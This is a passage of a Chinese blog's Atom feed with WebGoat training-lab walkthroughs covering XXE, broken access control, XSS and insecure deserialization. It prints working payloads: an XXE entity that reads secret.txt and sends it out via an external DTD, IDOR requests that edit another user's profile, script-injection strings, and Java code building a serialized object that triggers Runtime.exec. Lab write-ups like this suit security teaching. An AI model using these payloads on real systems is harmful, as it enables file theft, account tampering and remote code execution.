&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ENTITY &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;file &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;SYSTEM &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;file:&#x2F;&#x2F;&#x2F;c:&#x2F;Users&#x2F;[计算机用户名]&#x2F;.webgoat-8.0.0.M17&#x2F;XXE&#x2F;secret.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ENTITY &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;getdtd &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;SYSTEM &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;http:&#x2F;&#x2F;127.0.0.1:9090&#x2F;files&#x2F;[webgoat用户名]&#x2F;a1.dtd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;%getdtd;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;%write;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;comment&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;&amp;amp;send;&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;comment&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后在WebWolf里面就能看到对应请求了，把内容输入评论即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-4-xxe-broken-access-control&#x2F;.&#x2F;Stage8_flag.png&quot; alt=&quot;Stage8_flag&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为同一个DTD内引用上面定义的参数，因此这里需要放一个DTD到服务器上，变成外部DTD。就可以引用到上面定义到的参数了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;a5-broken-access-control&quot;&gt;(A5) Broken Access Control&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;insecure-direct-object-references&quot;&gt;Insecure Direct Object References&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;用户名Tom，密码cat，登录。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;请求传回，但没有显示出来的内容:&lt;code&gt;userId,role&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-4-xxe-broken-access-control&#x2F;.&#x2F;Stage3_diff.png&quot; alt=&quot;Stage3_diff&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4-1&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;这是符合REST设计理念的API，让你猜测如果查询profile时要指定userid的url。很简单，就是&lt;code&gt;WebGoat&#x2F;IDOR&#x2F;profile&#x2F;2342384&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-5&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;第一步，题干要求查看别人的profile，根据&lt;code&gt;hint&lt;&#x2F;code&gt;，把userid加一，但好像没用，一个一个试，发现userid为2342388。传回来中有一段json。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-4-xxe-broken-access-control&#x2F;.&#x2F;Stage5_other_profile.png&quot; alt=&quot;Stage5_other_profile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下一步是要修改别人的profile，既然是RESTful应用，那么修改数据就是PUT，按照要求，把role数值改大，color改成red，成功。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-4-xxe-broken-access-control&#x2F;.&#x2F;Stage5_edit_profile.png&quot; alt=&quot;Stage5_edit_profile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;说到底，出现这种漏洞的原因是服务端没有做好身份认证。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;missing-function-level-access-control&quot;&gt;Missing Function Level Access Control&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-2-1&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;随便翻翻html就能找到，隐藏的是&lt;code&gt;Users&lt;&#x2F;code&gt;和&lt;code&gt;Config&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-4-xxe-broken-access-control&#x2F;.&#x2F;Stage2_hidden_div.png&quot; alt=&quot;Stage2_hidden_div&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;提交后有一个小提示，其中的一个url在下一个任务会用到。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3-1&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;发送请求到&lt;code&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;users&lt;&#x2F;code&gt;就可以看到Hash了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;XenonL&#x2F;article&#x2F;details&#x2F;104528423#05%20XXE%E9%97%AE%E9%A2%984%20%E2%98%85&quot;&gt;WebGoat8 M17 XXE 全思路、题解与答案 - CSDN&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-5-Cross-Site Scripting &amp; Insecure Deserialization</title>
        <published>2020-10-07T00:00:00+00:00</published>
        <updated>2020-10-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-5-xss-insecure-deserialization/"/>
        <id>https://richar.top/webgoat-5-xss-insecure-deserialization/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-5-xss-insecure-deserialization/">&lt;h1 id=&quot;a7-cross-site-scripting-xss&quot;&gt;(A7) Cross-Site Scripting (XSS)&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;cross-site-scripting&quot;&gt;Cross-Site Scripting&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-2&quot;&gt;Stage 2&lt;&#x2F;h3&gt;
&lt;p&gt;同一个站点，cookie是相同的，所以回答yes。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-7&quot;&gt;Stage 7&lt;&#x2F;h3&gt;
&lt;p&gt;在卡号的框里输入&lt;code&gt;&amp;lt;script&amp;gt;alert(&quot;xss&quot;)&amp;lt;&#x2F;script&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-10&quot;&gt;Stage 10&lt;&#x2F;h3&gt;
&lt;p&gt;前端路由模式，test路径在url上怎么表示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;start.mvc#test&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-11&quot;&gt;Stage 11&lt;&#x2F;h3&gt;
&lt;p&gt;可以直接访问&lt;code&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;start.mvc#test&#x2F;test=%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E&lt;&#x2F;code&gt;，控制台里就会输出phoneNum了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-12&quot;&gt;Stage 12&lt;&#x2F;h3&gt;
&lt;p&gt;自己做吧。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;a8-insecure-deserialization&quot;&gt;(A8) Insecure Deserialization&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;insecure-deserialization&quot;&gt;Insecure Deserialization&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-5&quot;&gt;Stage 5&lt;&#x2F;h3&gt;
&lt;p&gt;先写一段java进行序列化&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;package &lt;&#x2F;span&gt;&lt;span&gt;org.dummy.insecure.framework;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;BufferedReader&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;IOException&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;InputStreamReader&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ObjectInputStream&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Serializable&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;LocalDateTime&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;VulnerableTaskHolder &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;implements &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;font-style:italic;color:#ffc66d;&quot;&gt;Serializable &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;网页上给出的是1，但是根据提示serialVersionUID可能更新了，因此改成2
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;private static final &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span&gt;serialVersionUID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;private &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span&gt;taskName;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;private &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span&gt;taskAction;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;private &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;LocalDateTime &lt;&#x2F;span&gt;&lt;span&gt;requestedExecutionTime;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;VulnerableTaskHolder&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;taskName&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;taskAction&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;super&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.taskName &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; taskName;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.taskAction &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; taskAction;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.requestedExecutionTime &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;LocalDateTime&lt;&#x2F;span&gt;&lt;span&gt;.now();
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;private &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;readObject&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ObjectInputStream &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;stream &lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;throws &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Exception &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;deserialize data so taskName and taskAction are available
&lt;&#x2F;span&gt;&lt;span&gt;        stream.defaultReadObject();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;blindly run some code. #code injection
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Runtime&lt;&#x2F;span&gt;&lt;span&gt;.getRuntime().exec(taskAction);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再写一个序列化的类&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;org&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;dummy&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;insecure&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;framework&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;VulnerableTaskHolder&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ByteArrayOutputStream&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;IOException&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;io&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ObjectOutputStream&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Base64&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Main&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;args&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;throws &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;IOException &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;VulnerableTaskHolder&lt;&#x2F;span&gt;&lt;span&gt; vulnerableTaskHolder&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;VulnerableTaskHolder&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;sleep&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;sleep 5&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ByteArrayOutputStream&lt;&#x2F;span&gt;&lt;span&gt; byteArrayOutputStream&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ByteArrayOutputStream&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ObjectOutputStream&lt;&#x2F;span&gt;&lt;span&gt; objectOutputStream&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ObjectOutputStream&lt;&#x2F;span&gt;&lt;span&gt;(byteArrayOutputStream);
&lt;&#x2F;span&gt;&lt;span&gt;        objectOutputStream.writeUnshared(vulnerableTaskHolder);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt; out&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Base64&lt;&#x2F;span&gt;&lt;span&gt;.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.println(out);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把输出的内容提交就行了。&lt;&#x2F;p&gt;
&lt;p&gt;这题有一个坑，服务端的&lt;code&gt;VulnerableTaskHolder&lt;&#x2F;code&gt;和他网页上显示出来的不一样，它会检测命令是否以&lt;code&gt;sleep&lt;&#x2F;code&gt;开头(防止影响WebGoat的运行)，但是&lt;code&gt;powershell&lt;&#x2F;code&gt;下，没有&lt;code&gt;sleep&lt;&#x2F;code&gt;命令。所以运行WebGoat的shell一定要是bash，windows下&lt;code&gt;git bash&lt;&#x2F;code&gt;也行。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-6-Vulnerable Components &amp; Request Forgeries</title>
        <published>2020-10-07T00:00:00+00:00</published>
        <updated>2020-10-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-6-vulnerable-components-request-forgeries/"/>
        <id>https://richar.top/webgoat-6-vulnerable-components-request-forgeries/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-6-vulnerable-components-request-forgeries/">&lt;h1 id=&quot;a9-vulnerable-components&quot;&gt;(A9) Vulnerable Components&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;vulnerable-components&quot;&gt;Vulnerable Components&lt;&#x2F;h2&gt;
&lt;p&gt;相比自己写的代码，使用的组件往往更容易被找到漏洞，因为寻找组件的漏洞的价值远比寻找一个网址的漏洞来得大。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-12&quot;&gt;Stage 12&lt;&#x2F;h3&gt;
